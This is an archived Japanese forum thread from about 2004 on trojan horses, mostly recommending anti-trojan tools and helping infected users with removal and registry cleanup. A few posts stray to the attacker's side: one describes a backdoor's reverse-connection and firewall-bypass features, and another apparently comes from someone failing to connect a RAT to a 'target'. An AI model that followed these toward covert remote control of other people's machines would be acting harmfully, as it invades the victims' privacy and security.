☆☆トロイの木馬☆☆2台目
レス数が950を超えています。1000を超えると書き込みができなくなります。
0001名無しさん＠お腹いっぱい。
NGNGネット犯罪の被害者になってしまった方は、まず警察にご相談下さい。
セキュリティー関係で質問ある方は下記へどうぞ。
ウィルス情報＆質問 総合スレッド☆Part20
http://pc5.2ch.net/test/read.cgi/sec/1086098775/
セキュリティ初心者質問スレッドpart43
http://pc5.2ch.net/test/read.cgi/sec/1087093973/
エロサイト見てたら…助けてください！ part28
http://pc6.2ch.net/test/read.cgi/pcqa/1086932629/
前スレ
☆☆トロイの木馬☆☆
http://pc5.2ch.net/test/read.cgi/sec/1052242064/
関連スレ
【フリー版】トロイ対策 a scuared 2【あり】
http://pc5.2ch.net/test/read.cgi/sec/1077204396/
0002名無しさん＠お腹いっぱい。
NGNGttp://e-words.jp/w/E38388E383ADE382A4E381AEE69CA8E9A6AC.html
スタートアップに関して日本語で詳しく 解説されているページ。
ネットワーク攻撃関連用語集も必見。
ttp://www.geocities.jp/bruce_teller/security/leakytrojan.htm
アンチトロイ他セキュリティソフトの情報
Anti-trojan Software Reviews(英語)
ttp://www.anti-trojan-software-reviews.com/index.htm
wilders.org security advisors(英語)
ttp://www.wilders.org/index.htm
Rokop Security Foren (独語)
ttp://www.rokop-security.de/main/index.php
各Firewallのトロイ抑止能力テスト表 (英語)
http://www.firewallleaktester.com/tests.htm
0003名無しさん＠お腹いっぱい。
NGNGa2（無料版あり。ａイって文字化けするのは仕様w）
ttp://www.a-2.org/en/
ewido （無料版あり。但し常駐保護機能は有料版じゃないと使えない）
ttp://www.ewido.net/en/?section=products
Tauscan（常駐保護する機能あり）
ttp://www.agnitum.com/products/tauscan/
TDS-3 （無料版あり）
ttp://tds.diamondcs.com.au/
Swat It(フリーソフト)
ttp://swatit.org/index.html
PestPatrol
ttp://www.pestpatrol.jp/
Trojans First Aid Kit 5.01
ttp://www.wilders.org/downloads.htm
システム・モニタリング・ツール
SSM(System Safety Monitor)
ttp://maxcomputing.narod.ru/ssm.html?lang=en
Registry Prot スタートアップを監視するシンプルなソフト
ttp://www.diamondcs.com.au/index.php?page=regprot
オンライン・チェック
Free online Trojan Scanner
ttp://www.trojanscan.com/
a2 オンライン・チェック
ttp://onlinecheck.emsisoft.com/en/
Firewall Leak Tester
（テストトロイを持ち帰って自分の環境の対トロイ抑止力のレベルを計るのにも利用できる）
ttp://www.firewallleaktester.com/
00041
NGNG間違いがあれば補完よろしくお願いします。
ちなみにおいらはewidoとRegistryProt使ってます。
0005名無しさん＠お腹いっぱい。
NGNGマカフィーでトロイの木馬(zip)見つかったんだけど
これって解凍しなければ問題なしだよね？
マカはトロイ侵入阻止してくれるけど
ごくたまにすり抜けるファイルがあるようです。
昨日アップデートあったから大丈夫になったかもしれんが。
0006名無しさん＠お腹いっぱい。
NGNGzipの中にトロイが入ってるだけのファイルなら削除するだけで大丈夫なはずだが。
0007名無しさん＠お腹いっぱい。
NGNGtorojan.js.offiz
この2つのトロイどういう事するのか教えてね！
0008名無しさん＠お腹いっぱい。
NGNG無料のウイルス対策ソフトなどのセキュリティソフト一覧
http://www.geocities.co.jp/SiliconValley-Cupertino/2010/security.html
●.●.●.●..●...●●.●..●●.●●......●..●●...●●...●●●.....●.●...●
0009名無しさん＠お腹いっぱい。
NGNG自分でgoogleで調べてね！
0010名無しさん＠お腹いっぱい。
NGNG0011名無しさん＠お腹いっぱい。
NGNG乙。
＞間違いがあれば補完よろしくお願いします。
ぱっと見て気になったのは下記のとおり。
>>1
関連スレ
【フリー版】トロイ対策 a scuared 2【あり】
http://pc5.2ch.net/test/read.cgi/sec/1077204396/
(※) × - a scuared ○ - a squared
（a2スレなんだがスレタイが間違って立てられている。）
>>3
TDS-3 （30日試用版あり）
ttp://tds.diamondcs.com.au/
Swat It(無料版あり)
ttp://swatit.org/index.html
0012名無しさん＠お腹いっぱい。
NGNGトロイ…というかBOとかのRASツールってルーターを
突破できんの？
ServerがLAN内でListenして待ってようが、Clientが
WAN側のアドレスにいくらアクセスしようが
繋がらない気がするんだけど…。
0013名無しさん＠お腹いっぱい。
NGNGttp://www.wilderssecurity.com/showthread.php?t=32823&page=1
上記にSSMやRegistryProtなどレジストリモニターの比較があるぞよ。
0014名無しさん＠お腹いっぱい。
NGNG自分でgoogleで調べたけどどこにもなかった。
0015名無しさん＠お腹いっぱい。
NGNGその後、ウィルススキャンをしてみても、見つかりません。
MS-DOSで、netstat -aをしてみると、かならずブラウザやメールソフトを閉じているにもかかわらず、ESTABLISHとでます。
アンチウイルスソフトでトロイの木馬は検出しにくいと聞くんですけど、どうなんでしょうか？
踏んだ時にはしっかり発見できたんですけどスキャンじゃ見つからないんです。
0016名無しさん＠お腹いっぱい。
NGNGttp://www.nsclean.com/psc-bst.html
Backdoor Beast 2.05の新しい機能
- LANBypass feature (reverse connection)もしくはpassive to passive connection機能と言う人もいる。
このトロイがアップデートしたとき、Beastの公式Forumに、無事にルーターを使っている友人に
トロイを仕込むことが出来ました。という喜びの書き込みがたくさんありましたよ。
DLL Injection機能はZoneAlarmFreeやTrendmicroのfirewall（Trendmicroのfirewallは
そもそもapplicationを監視する機能が無かったと思ったが。）などはBypassしますし。
>>15
それだけの情報ではコメントのしようがないと思うが。
アンチウイルスソフトがすでにquarantine検疫（隔離）したのでは？
アンチウイルスソフトのログは見ましたか？
お使いのOSがWindows NT4/2K/XP/2003.なら
DiamondCS OpenPorts v1.0のログを貼ってみれば、詳しい人がコメントしてくれるかも。
ttp://www.diamondcs.com.au/openports/
0017名無しさん＠お腹いっぱい。
NGNGWindows(98SE)を起動する度に
HKEY=HKEY_CLASSES_ROOT
PATH=vbsfile\shell\open\command
NAME=
DATA=
と出てきます。毎回｢いいえ｣を選ぶのですが
もしかしてトロイにやられてるのでしょうか？
AntiVirとSwat It!では何も出てきませんでした。
Kerioも何も反応しません。
0018名無しさん＠お腹いっぱい。
NGNGRegistryProtは
ttp://www.security-forums.com/forum/viewtopic.php?t=3752&sid=d0a7c803821fd976b66bd8ebf117b03c
上記の７番が書き換えられないように監視しているんだろうけど。
トロイがよく使うshell spawningのスタートアップの方法で、vbsに関連付けることは
一般的ではないし。(exeが一番一般的）
NAME=
DATA=
が空欄であるからRegistryProtの誤動作ではないのかい。
自分がWindows(98SE)で使っている時には、そのような奇妙な動作は一度も起きなかったが。
RegistryProtのヘルプファイルにshell spawningを使った実際にトロイが仕掛けられる例が紹介されているから、
一度それと比べてみればどうだろう。
0019名無しさん＠お腹いっぱい。
NGNGどうやら誤作動のようですね。念のためググッてみたら海外の掲示板にも
同じような質問がありましたw そこでは「トロイではないだろうが原因は
わからない」だそうです。とりあえず心配なさそうなので放っておきます。
0020名無しさん＠お腹いっぱい。
NGNG環境の問題があるので一概には言えないが、RegistryProtではいかにも落ち着かない気がするが？
002219
NGNGわざわざアカウント登録までしたのに…orz
フリーで常駐保護できるソフトってあるんでしょうか…
0023名無しさん＠お腹いっぱい。
NGNG002419
NGNGと思ったらＴｏＲｏＩ bastar…orz
busterじゃなくてbastarなうえに信頼性が…
いやでもフリーだとそんなもんか…
0025名無しさん＠お腹いっぱい。
NGNGreverse connection て具体的に何やってるんでしょうか？
0026名無しさん＠お腹いっぱい。
NGNGスパイウェア防ぐためにいれてる
0027名無しさん＠お腹いっぱい。
NGNGこれ何ていうトロイか分ります？
0028名無しさん＠お腹いっぱい。
NGNG0029名無しさん＠お腹いっぱい。
NGNGnyのクラックはやめとけ
0030名無しさん＠お腹いっぱい。
NGNGクラックは興味ない
なんていうトロイか知りたいの
0031名無しさん＠お腹いっぱい。
NGNGいつの間にかアップデートしてたんだ
早速いれてみた
>>13のリンク先みるとregprot+teatimerでレジストリ関係は安全かな
ただ>>20みたいのはどう防ぐんだろう
0032名無しさん＠お腹いっぱい。
NGNGerror[10061]: no server running at address.
と出て接続ができません(;´Д`)ﾉ
ターゲットはきちんと起動してるし、ファイアウォールも切ってあるのに
接続できないのは何でなんだろ・・・・。
0033名無しさん＠お腹いっぱい。
NGNGただ>>20みたいのはどう防ぐんだろう
今のところ、SSMしかなさそうだね。
0034名無しさん＠お腹いっぱい。
NGNG0035名無しさん＠お腹いっぱい。
NGNG0036名無しさん＠お腹いっぱい。
NGNGhttp://www.cwo.co.jp/kaiin/center/fusei/index_xp.html
これじゃない？違ってたらｽﾏｿ
0037名無しさん＠お腹いっぱい。
NGNG0038名無しさん＠お腹いっぱい。
NGNGスレ違いだったらスマソ。
http://www.itmedia.co.jp/enterprise/articles/0406/25/news076.html
2004/06/25 18:31 更新
大手サイトに仕込まれたトロイの木馬に要注意
一部のメジャーサイトにアクセスすると、画像ファイルに組み込まれた悪質な
JavaScriptにより、知らない間にトロイの木馬をダウンロードさせられ、
スパムの踏み台にされる可能性がある。（IDG）
0039名無しさん＠お腹いっぱい。
NGNGﾄﾞｿﾞｰ( ･∀･)つhttp://pc5.2ch.net/test/read.cgi/sec/1077204396/92-97
0040名無しさん＠お腹いっぱい。
NGNG... 接尾語付き地名 # 広域公園: 沖縄市 (沖縄県) そうごううんどうこうえん ... ぼうがおうかこうえん 希望ヶ丘公園 接尾語付き地名 # 近隣 ...
http://www.nurs.or.jp/~void/OkinawaDict/o-dic/park.dic -
↑これかなりやばいかも、クリックすると勝手に変なファイルがダウンロードされる。
もしかしてトロイかも・・・・ 気をつけてね
0041名無しさん＠お腹いっぱい。
NGNGどこがトロイだよ？
0042名無しさん＠お腹いっぱい。
NGNG沖縄辞書…(w
0043名無しさん＠お腹いっぱい。
NGNGバーカ
0044名無しさん＠お腹いっぱい。
NGNGわっちらぁみたいな標準語喋る人間にゃいらんでがんす。
0045名無しさん＠お腹いっぱい。
NGNGこのRegistryProtっていうのはログとか見れないんですかね？
入れてみたんだけどそれらしいファイルが見当たらないんですが。
0046名無しさん＠お腹いっぱい。
NGNGログは残せないかと。
StartupGuard
http://www.acelogix.com/download.html
他スレで紹介されてたけどこれはどこらへんまで監視できるんだろうね。
インストーラ付きだったからちょっと今は入れるのパスした。
0047名無しさん＠お腹いっぱい。
NGNGサンクス。
それはスタートアップに何かが加えられた場合に確認を求めるだけみたいだね。
許可か拒否か。
0049名無しさん＠お腹いっぱい。
NGNG「HTML/Suar」ってゆうウイルス検出しました。
なんか普通に消せたけど、大丈夫なのかな・・・
0050名無しさん＠お腹いっぱい。
NGNGNorton Antivirusなどのウイルス対策プログラムでも探知できない。
http://www.itmedia.co.jp/enterprise/articles/0407/01/news061.html
オンライン金融業界にとって深刻な脅威。
0051名無しさん＠お腹いっぱい。
NGNGhttp://internet.watch.impress.co.jp/cda/news/2004/07/02/3750.html
0052名無しさん＠お腹いっぱい。
NGNGそこのBHODemonの機能があまりわからん。
一回落としてみたが、NortonとNetTransport、Adobeが引っかかった・・・？
0053名無しさん＠お腹いっぱい。
NGNGSpybotにもBHOを管理できるツールは付いてるよ。自分で判断しないといけないけど。
Demonのほうは、BHOlistという危険リストをもとに
安全なものとそうでないものが色分けされて表示されるんじゃないのかな。
チェックを外せばそのBHOを殺せる。
0054名無しさん＠お腹いっぱい。
NGNG自分で判断しないといけないのがやぱりネックだけど・・・。
0055名無しさん＠お腹いっぱい。
NGNG0056名無しさん＠お腹いっぱい。
NGNG被ってますか？
0057名無しさん＠お腹いっぱい。
NGNG0058名無しさん＠お腹いっぱい。
NGNG今は更新してないみたいだけど
0059名無しさん＠お腹いっぱい。
NGNG更新が無くても使えるって事はレジストリとかプロセスの監視が出来るのかな？
って事は常駐ソフトか、調べてみよ。
0060名無しさん＠お腹いっぱい。
NGNG0061名無しさん＠お腹いっぱい。
NGNGTroijanCheck5なら6でも同じことがえきるので6の方がいいかな。
最近更新してないから使ってないけど。
自分はレジストリやスタートアップの監視は最近は、
Spybot - Search & DestroyのTiaTimaerを常駐させて監視させているよ。
>>59
TroijanCheck6は一応常駐して監視してくれますよ。
少し設定をいじらないといけないですけど。
ttp://www.trojancheck.de/
0062名無しさん＠お腹いっぱい。
NGNG両方ともドイツ語ソフトだが、TrojanCheck5には英語化パッチがある。
両方とも日本語化パッチはない（少なくとも私は見たことがない）。
後継ソフトはewidoだが、>>3にあるようにFree版は常駐保護機能が使えない。
TrojanCheck v5.0.4.1 Final
ttp://web.archive.org/web/20030618201938/http://wilders.org/HTMLobj-925/install_trojancheck5041.exe
英語化パッチ
ttp://web.archive.org/web/*/http://www.wilders.org/HTMLobj-833/english.lng
readme.txt
ttp://web.archive.org/web/*/http://www.wilders.org/HTMLobj-834/readme.txt
regprotが反応しないものにTrojanCheck5が反応する場合があるので、
TrojanCheck5を入れる価値はあると思って私は入れている。
0063国連な成しさん
NGNG0064名無しさん＠お腹いっぱい。
NGNG状況なんです。ノートンでスキャンをかけてみてもなんの反応もありません。
これはトロイが機動しるんでしょうか？
0065名無しさん＠お腹いっぱい。
NGNGぐぐったら一番上に関連記事が出てるんだけどなぁ･････
0066名無しさん＠お腹いっぱい。
NGNGBHODemon入れてみたけど、ちょっと使いづらいね。
Spybotの方が多機能だし、使いやすい。
>>54
HijackThisってリストを吐き出すやつだっけ?
0067名無しさん＠お腹いっぱい。
NGNG確かそう。かさばらないからHDの片隅にでも。
Hijackthis
ttp://higaitaisaku.web.infoseek.co.jp/HijackThis.exe
Hijackthisを実行したときにBHOの一覧はO2に表示される。
O4には自動起動エントリも表示される。
基本的な使い方は不振な活動をするものを自己判断でFixをする。
するとレジストリエントリーから抹消&バックアップされる。
あとはその不振な活動をしていたexeやdllをその場で圧縮しごみ箱に移す。
あとで必要と分かったならRestoreとexe、dllの圧縮を解凍し元に戻す。
HijackThisログ解析入門
ttp://higaitaisaku.web.infoseek.co.jp/htkaiseki.html
0069名無しさん＠お腹いっぱい。
NGNG最新のだと2バイト文字に対応しているみたいね。
ttp://www.softpedia.com/public/cat/10/17/10-17-69.shtml
0070名無しさん＠お腹いっぱい。
NGNG最新のは1.98.0.0でいいのかな？
使ってみたけど確かに対応しているようで、
今まで文字化けしていたものも文字化けしないで表示できて分かりやい。
教えてくれてありがとう。
0071名無しさん＠お腹いっぱい。
NGNG0072名無しさん＠お腹いっぱい。
NGNG0073名無しさん＠お腹いっぱい。
NGNGﾌﾟｯ
それ以前にteatimerは現状、出来が悪い。
0074名無しさん＠お腹いっぱい。
NGNG>>18のリンク先見てみな？そんなに悪いとは思えないけど。
0075名無しさん＠お腹いっぱい。
NGNG0077名無しさん＠お腹いっぱい。
NGNGTeaTimerは使っているが完成度が低い。できたばかりだからこんなものか。
>>76
SSMは確かに効果的だが、使うと面倒なのも確か。
守られてるなという実感はわく。
0078名無しさん＠お腹いっぱい。
NGNG常駐はnod32＋sygate＋regprot＋teatimer
こんなところ。
0079名無しさん＠お腹いっぱい。
NGNG0080名無しさん＠お腹いっぱい。
NGNG今日ウイルス検索してたら「TROJ_WINSHOWZ」というウイルスに感染
してることが分かりましたがいろいろ調べましたが検索にかかりません。
ご存知の方対策、駆除方、感染した時の悪影響を教えてください。
何分ウイルス感染初めてなものでパニクってます、よろしくお願いします。
0081名無しさん＠お腹いっぱい。
NGNG008280
NGNGすみません。
何とか駆除出来たようです。
ありがとうございました。
0083名無しさん＠お腹いっぱい。
NGNG最凶だな。
0084名無しさん＠お腹いっぱい。
NGNG金払う気あるならkasperskyにしたら？
これとスパイウェア対策だけで十分だろ。
0085名無しさん＠お腹いっぱい。
NGNGなんなんだよ一体…orz
0086名無しさん＠お腹いっぱい。
NGNGうちもそうだよ
ちなみに相手IPは全て北京だった
0087名無しさん＠お腹いっぱい。
NGNG0088名無しさん＠お腹いっぱい。
NGNG0089名無しさん＠お腹いっぱい。
NGNGそろそろ本気でウザイ。
0090名無しさん＠お腹いっぱい。
NGNG0091名無しさん＠お腹いっぱい。
NGNG俺も以前はアジアからのアクセスで怒涛の警告ラッシュが続いたけど
ルータのお陰で今はさっぱりだよー
0092あぼーん
NGNG0093名無しさん＠お腹いっぱい。
NGNGまあ>>92氏ね。そして通報されろ。
0094名無しさん＠お腹いっぱい。
NGNGちなみにNortonAntiVirus2004使ってますけど…
これってどーなん？
0095名無しさん＠お腹いっぱい。
NGNG間違って検疫したらメール消えた
0096名無しさん＠お腹いっぱい。
NGNG使わなさそうなフォントを整理していたらEwido立ち上げても何にも表示されなくなってしまいました。
フォントを元に戻してもEwidoを再インストールしても文字が表示されないんですよね。
0097名無しさん＠お腹いっぱい。
NGNGやっとのお思いで見つけたサイトが英語じゃなかったり・・。
0098名無しさん＠お腹いっぱい。
NGNG0099名無しさん＠お腹いっぱい。
NGNG0100100
NGNG>>99
http://www.emsisoft.com/en/kb/portlist/
メモっとけ
0101名無しさん＠お腹いっぱい。
NGNGhttp://www.geocities.co.jp/SiliconValley-SanJose/2451/commission.html
の「スパイウェア関連辞書ファイル」に日本語辞書があったんですが
適用方法が分かりません・・・。Configで設定するのかと思ったんですが
辞書ファイルの設定に関する項目がないみたいなんですけど・・・。
これどのように設定すればよいのか分かる方いらっしゃいませんか？_|￣|○
0102名無しさん＠お腹いっぱい。
NGNGE-WordChanger2000用の辞書だろ。あれは使えねーよ。
そこまでして日本語化する必要もないしな。
0103101
NGNG一応やっておこーかな、と思ったんですがこれ専用日本語化ソフト用の辞書ファイルだったんですね・・・
勉強になりました、今後「#32770～」の辞書ファイルには気を付けます（？）
ありがとうございました
0104名無しさん＠お腹いっぱい。
NGNG0105名無しさん＠お腹いっぱい。
NGNG0106名無しさん＠お腹いっぱい。
NGNGYahoo! News
ttp://headlines.yahoo.co.jp/hl?a=20040724-00000003-zdn_ep-sci
ITmedia
ttp://www.itmedia.co.jp/enterprise/articles/0407/24/news008.html
トロイの木馬の情報
Backdoor.Hacarmy
ttp://www.symantec.com/region/jp/sarcj/data/b/backdoor.hacarmy.html
BackDoor-AZV
ttp://www.mcafeesecurity.com/japan/security/virB2003.asp?v=BackDoor-AZV
0107名無しさん＠お腹いっぱい。
NGNGどーすればいいのでしょうか？
それにインターネットを開くと スパイウェアのポップアップが出現します
誰か助けてください！
0108名無しさん＠お腹いっぱい。
NGNG0109名無しさん＠お腹いっぱい。
NGNGノートンにきけ
0110名無しさん＠お腹いっぱい。
NGNG0111名無しさん＠お腹いっぱい。
NGNGhttp://www.google.co.jp/search?num=50&hl=ja&inlang=ja&ie=UTF-8&q=Backdoor.Padodor&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=
0112名無しさん＠お腹いっぱい。
NGNGありがと
0113名無しさん＠お腹いっぱい。
NGNGっていう警告ウィンドウがでるんですけど
指摘しているフォルダが存在しません
これは放っておいて大丈夫なんでしょうか？
0114名無しさん＠お腹いっぱい。
NGNGルータなんてそんなに高い物じゃないので入れてない香具師は入れる事をおすすめするよ。
0115名無しさん＠お腹いっぱい。
NGNG全然止まっているわけじゃねえべさ
理屈がわかんねえのか？
0116名無しさん＠お腹いっぱい。
NGNGどうせ、ここに登録されているんだろう
http://www.trendmicro.co.jp/esolution/solutionDetail.asp?solutionId=9286
0117名無しさん＠お腹いっぱい。
NGNGどちらにせよ、PCのファイヤーウォールで弾くより負荷もかからんし、
ルーター入れても損はないだろ。
0118名無しさん＠お腹いっぱい。
NGNG知り合いも同じTrojan horse Back Door.Agent.2.Hの警告が出たって言ってたけど
web検索しても無いんだよね。
どう対処したらいいのか俺も知りたい。
0119名無しさん＠お腹いっぱい。
NGNGノートンのログみたら、Trojan horseに感染してるらしいって出てました。駆除しようとしたけど、
スキャンしてると電源が消えて正常なスキャンができないんです。
どうしたらいいんでしょうか･･･。助けてください｡･ﾟ･(ノД｀)･ﾟ･｡
0120名無しさん＠お腹いっぱい。
NGNGセーフモードでやれ。
0121名無しさん＠お腹いっぱい。
NGNG毎日のようにくれるんだけど、流行ってるんですか、これ。
前に一度感染したのか、「見つけたけど削除できない」って警告が続いて、
（でも指定の場所には該当ファイルが見当たらない）
そのときはノートン2003だったので、これを2004に変えたら、
自動削除したというメッセージにはなってくれたんだけど、気になります。
0122名無しさん＠お腹いっぱい。
NGNGHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
トロイが追加した実行ファイルへのパスが記入されているキーを削除してください。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\SearchUrl
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\SearchUrl
「SearchUrl」を削除してください。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main
"Start Page""
"Search Bar"
"Search Page"
3つのキーを削除してください。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Search
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Search
「SearchAssistant」を削除してください
お気に入りフォルダのいくつかのリンクおよび、お気に入りフォルダ内のリンクフォルダを作成します。
トロイが追加したブックマークまたはリンクを削除してください。
セーフモードモードで起動して、Trojan.Bookmarker.Genとして検出されたすべてのファイルを削除してください。
0123名無しさん＠お腹いっぱい。
NGNG0124121
NGNGありがとうございます。
ご指摘の部分、全部削除してみました。
警告でなくなるといいなぁ。
0125名無しさん＠お腹いっぱい。
NGNGいつも通りにアップデートをしてたら妙に大きいファイルをダウンロードしてきてビックリ
本家サイトを見るとどうやら無料版と14日間使用版が統合された模様
バージョンアップを実行するといきなりplusの方になってて一瞬ビビった
でもどうやら、14日過ぎるとplusの機能は自動的に使えなくなって無料版に移行する
らしいから、無料で使い続けたいという場合もたぶん心配はいらないだろう
あっ、インストールの時に「background」云々のチェックをあらかじめ外しておけば
最初から無料版が入るのかな？
実際にスキャンしてみると…怪しいファイルが見付かるたびにサイレンの音が鳴って
その都度どうするかを聞いてくる
スキャンしている間はパソコンの前にいないといけない訳だからちょっと面倒かも
0126名無しさん＠お腹いっぱい。
NGNG0127名無しさん＠お腹いっぱい。
NGNG解説ありがとうage
スキャンすると、かかるわかかるわスパイウェア……
ad-awareとSpybotも入ってて使ってるんだけどな(´･ω･`)
ewido単独スレってないんだな。なんで？ あってもおかしくないのに。
0128名無しさん＠お腹いっぱい。
NGNG（Ewidoに限らず）アンチトロイソフトの利用者がまだ少ないからじゃないかな？
a2のスレはどちらかというと先走りで立てて、途中から良スレになった感じ
0129名無しさん＠お腹いっぱい。
NGNG0130名無しさん＠お腹いっぱい。
NGNG0131名無しさん＠お腹いっぱい。
NGNGでもEwidoまでなくなるとこのスレの存在意義がなくなるﾖｶｿ(´･ω･`)ｼｮﾎﾞｰﾝ
本当はa2もこっちでやってもいいような気がするけどね。
0132名無しさん＠お腹いっぱい。
NGNGファイルは5個なんだけども、そのファイルを削除しようとしても、winが使っています
ので削除できませんと出て、この先をどうしたらよいのか分かりません、
場所はc\win\system\edey_dtzi.exeなんですが、削除しようと右クリック削除で
削除できません、winが使っていますと出ます、他にもダウンロードプログラム
フォルダーにもありますが、いずれも削除できませんと出ます、何か良い方法は
有りませんでしょうか、ちなみに、win98se、ZONEアラームのみでウィルスソフトは
入れていませんでした、4年間感染は無かったのに・・・・・・。
0133名無しさん＠お腹いっぱい。
NGNG>先ほどバスター2004でスキャンしたら、
何故ウィルスバスターのスレで聞かないのさ。
こっちとマルチにならないよう、誘導された旨を加えてバスタースレへGO
0134名無しさん＠お腹いっぱい。
NGNGフリーでも常駐してくれ
0135名無しさん＠お腹いっぱい。
NGNGきたと通報があってIPアドレスしらべたらお宅のPCでした。たぶんウィルス
に感染してるはずですので調べてください」といわれました。
トレンドマイクロのHPでスキャンしたらでてくるわでてくるわトロイの木馬系の
ウィルスが６箇所にはいってました。４個は駆除、削除できましたが２個が
「アクセス不可」になってました。プロバイダーがいうにはアクセス不可の
場合はPCを再インストールしていただかなければ除去できませんといわれました。
そこでPCの再インストに取り掛かりましたがなぜか途中で止まって作業でき
ませんでした。感じとしてはHDがウィルス感染で壊されたようにおもうの
ですがそのようなケースってあるのでしょうか？
どなたかご教授いただければ幸いです。
0136名無しさん＠お腹いっぱい。
NGNG＞a2のスレはどちらかというと先走りで立てて、
立てる事の是非はともかく、立ったのはこのスレでかなり語りつくされてから。
専用スレを立てるのなら遅かったのではないかと。
>>127
＞ewido単独スレってないんだな。
単独スレを立てようかと思ったこともあるが、
このスレでやれば良いだろうと思ったのと
あまり語る事もないんじゃないか（私が詳しく語れない）と思い、
立てなかった。
>>131
a2もこのスレでやって良いと思う。というか色々な人がやってるし。
>>134
同意。
何かフリーで常駐してくれる開発終了していないアンチトロイソフトないかなあ。
SSMとRegistry Protとteatimer（spybotの付属機能）使っているから別にいらないといえばいらないんだが、
常駐保護もスキャンもできるフリーソフトを使ってみたい。
0137名無しさん＠お腹いっぱい。
NGNGない
ノートンがMBRを監視しているから、ノートンを消せ
0138名無しさん＠お腹いっぱい。
NGNG数時間しか経っていないけど今のところ問題なし。
リブートも異常無し。 このまま１４日間様子みまつ
( ewido の security status は 100% です)
0139名無しさん＠お腹いっぱい。
NGNG大体はそのウィルス情報を見てやれば解決するはず。
0140名無しさん＠お腹いっぱい。
NGNGEwidoも、a2も、日本語の解説ページらしいものがないんだよね。
俺はXPではないのでa2のみですが、満足できるレベルですよ。
非常駐だから不具合置きにくいし、無料ソフトなんだから、もっと他の人も入れるべきだよ。
014196
NGNG思ってインストールしたのですが、直りませんでした（全てのボタンの文字が空白）。
このままでは口惜しいのでググったりしてやっと解決しました。
同じ症状になる人は滅多にいないとは思いますが、なってしまった時は参考にして下さい。
（OSはXPです）
セーフモードで起動してC:\WINDOWS\system32\FNTCACHE.DATを削除後、再起動。
これで直ります。新しいバージョンが出なければあきらめていたところでした。
これでひと安心です。
0142名無しさん＠お腹いっぱい。
NGNG私は両方使っているが
a2はメールアドレス登録が面倒と思う人もいるのかも。
ewidoはXPのみなのがネックなのかも。
最大のネックは知名度か。
アンチトロイソフトそのものの知名度も低いしねぇ。
0143名無しさん＠お腹いっぱい。
NGNGなかなか良さげな感じなので、金払ってplusを本格採用するかと思い、
一度アンインスコしてから常駐ありでインスコしたら、
…freeになりますた。
再度アンインスコしてから常駐なしでインスコしてもfreeのまま。
流石に常駐相性チェックせずに導入する気は無いんで、このままfreeの悪寒。
金払う気がある香具師は、まず常駐ありでインスコする様に。
0144名無しさん＠お腹いっぱい。
NGNGたぶん、a2かewidoを日本語化したら爆発的に知名度あがりそうだね。
最近のスパイウェアは、トロイ絡みで感染するものが結構あるので、
アンチトロイソフトに関心を持っている人は少なくないはず。
ノートン先生やウィルスバスターでも案外トロイはスルーする。
0145名無しさん＠お腹いっぱい。
NGNGなんかアップデートで落とした場合はPlusになるっぽいよ。
Webからセットアップ落として入れたらFreeっぽ。
0146名無しさん＠お腹いっぱい。
NGNGFreeの場合オートアップデートだけだからスキャンの前に普通アップデートするし、
しかもその常駐ソフトはプロセス切る以外に終了できないから。
0147143
NGNGewido初体験で、Webからセットアップ落として入れて、最初は常駐なしのPlusだったん。
アンインスコしてインスコし直したら、常駐ありのFreeになった。
で、再度アンインスコしてインスコし直して、常駐なしのFreeで使ってまふ。
>>146
かなり奇妙な常駐だよね。malwareによる妨害や他ソフトとの干渉を避けるためかもしれんけど。
0149名無しさん＠お腹いっぱい。
NGNG0150名無しさん＠お腹いっぱい。
NGNG君も再インストールして>>143>>145の（ ・∀・）人（・∀・ ）ﾅｶｰﾏ
Free版だと、スキャンの機能やオプションも減ってんだよな…
0151名無しさん＠お腹いっぱい。
NGNG0152名無しさん＠お腹いっぱい。
NGNG0153名無しさん＠お腹いっぱい。
NGNG0154名無しさん＠お腹いっぱい。
NGNG0155名無しさん＠お腹いっぱい。
NGNG昨日はSecurityStatus0%だったのに25%になってる・・・。
0156名無しさん＠お腹いっぱい。
NGNGどのウィルスに対応してるのかわからんけどｗ
0157名無しさん＠お腹いっぱい。
NGNG常駐のFile Monitoring、Hijacker Protection、Automatic Updatesを有効にすることで各25%。
0158名無しさん＠お腹いっぱい。
NGNGﾍｪｰじゃあんま意味無いってことか。
0159名無しさん＠お腹いっぱい。
NGNGMS_RPC_DCOM_Heap_BO
という攻撃を頻繁に食らうのですが対処方法はありますでしょうか？
0160名無しさん＠お腹いっぱい。
NGNGMS_RPC_DCOM_Heap_BO
という攻撃を頻繁に食らうのですが対処方法はありますでしょうか？
0161名無しさん＠お腹いっぱい。
NGNG0162名無しさん＠お腹いっぱい。
NGNG0163名無しさん＠お腹いっぱい。
NGNGなんか科学技術警察だっけ？そこんとこにつなぎにいこうとしているんだが？
変なパケット送ってるのかもしれん。。。
0164名無しさん＠お腹いっぱい。
NGNG0165名無しさん＠お腹いっぱい。
NGNGうほっ、乙
で、再起動までしてどう変わった？
0166名無しさん＠お腹いっぱい。
NGNGウィルスソフトのトロイ駆除に焦点をしぼったバージョンと考えて
モウマンタイでしょうか？
これ使えばほぼ駆除できますか？
0167名無しさん＠お腹いっぱい。
NGNG>ウィルスソフトのトロイ駆除に焦点をしぼったバージョンと考えて
トロイの木馬・スパイウェア・ワーム等（以後malware）の「検出」に焦点を合わせて製品開発してると思われる。
一般的なウイルス対策ソフトに比べてmalwareの検出率は高いと考えられている。
>これ使えばほぼ駆除できますか？
感染しただけで復旧不能の致命的なダメージを与えるmalwareもあるし、
駆除できるmalwareであっても手作業を要するものが最近は増えている。
また、malwareごとに「○○を駆除するには××」「△△を駆除するには□□」といった感じで
特定のアンチトロイソフト・アンチスパイソフトが必要になる事も多い。
ウイルス対策でもそうだが、初心者は「感染しても駆除すればOK」という甘い考えを捨てろ。
感染したら基本的に手遅れ（重要データ流出・感染被害拡大・システム破壊・信用失墜）で、
仮に駆除できたとしても、それはたまたま運が良かっただけだ。
そもそも、この世の全てのアンチトロイソフト・アンチスパイソフトを併用したとしても、
全てのmalwareを「検出」できるとは限らない。「駆除」じゃなくて「検出」な。
